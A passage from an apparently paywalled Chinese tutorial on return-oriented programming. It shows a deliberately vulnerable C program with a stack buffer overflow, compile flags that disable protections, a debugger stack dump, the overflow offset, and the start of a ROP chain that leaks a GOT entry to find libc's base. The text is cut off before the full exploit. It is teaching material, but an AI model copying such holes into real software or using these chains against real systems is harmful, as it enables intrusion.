Pwn 学习 question_5 x64ROP编程
1.源代码
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int dofunc(){
char b[8] = {
};
write(1,"input:",6);
read(0,b,0x100);
//printf(b);
return 0;
}
int main(){
dofunc();
return 0;
}
2.编译
x86
gcc -m32 -fno-stack-protector -no-pie -o question_5_x86
x64
gcc -fno-stack-protector -no-pie -o question_5_x64
3.x86
3.1.确定溢出量
00:0000│ esp 0xffffd000 ◂— 0x0
01:0004│ 0xffffd004 —▸ 0xffffd018 ◂— 'aaaabaaaacaaaa\n'
02:0008│ 0xffffd008 ◂— 0x100
03:000c│ 0xffffd00c —▸ 0x8049182 (dofunc+12) ◂— add ebx, 0x2e7e
04:0010│ 0xffffd010 ◂— 0x1
05:0014│ 0xffffd014 —▸ 0xffffd0e4 —▸ 0xffffd2ba ◂— 0x6d6f682f ('/hom')
06:0018│ ecx 0xffffd018 ◂— 'aaaabaaaacaaaa\n'
07:001c│ 0xffffd01c ◂— 'baaaacaaaa\n'
08:0020│ 0xffffd020 ◂— 'acaaaa\n'
09:0024│ 0xffffd024 ◂— 0xa6161 /* 'aa\n' */
0a:0028│ ebp 0xffffd028 —▸ 0xffffd038 ◂— 0x0
0b:002c│ 0xffffd02c —▸ 0x80491e1 (main+21) ◂— mov eax, 0
0c:0030│ 0xffffd030 ◂— 0x1
0d:0034│ 0xffffd034 —▸ 0x8049060 (_start) ◂— xor ebp, ebp
- 可以计算出溢出量应该是 5 * 4 = 20
3.2.布栈
- 按照如下顺序安排溢出后的栈空间
3.2.1.第一次溢出
ebp
p32(write_sym)
p32(dofunc_addr)
p32(1)
p32(leak_func_got)
p32(4)
3.2.2.计算libc_base
- 我们现在获取了write在动态链接后got表中的地

本文详细介绍了如何进行x86和x64架构下的Return-Oriented Programming(ROP)攻击,包括确定溢出量、栈布局、利用got表泄露信息及计算libc基址,最终实现代码执行。通过示例代码和exploit编写过程,阐述了ROP在不同架构下的实现差异。
最低0.47元/天 解锁文章
523

被折叠的 条评论
为什么被折叠?



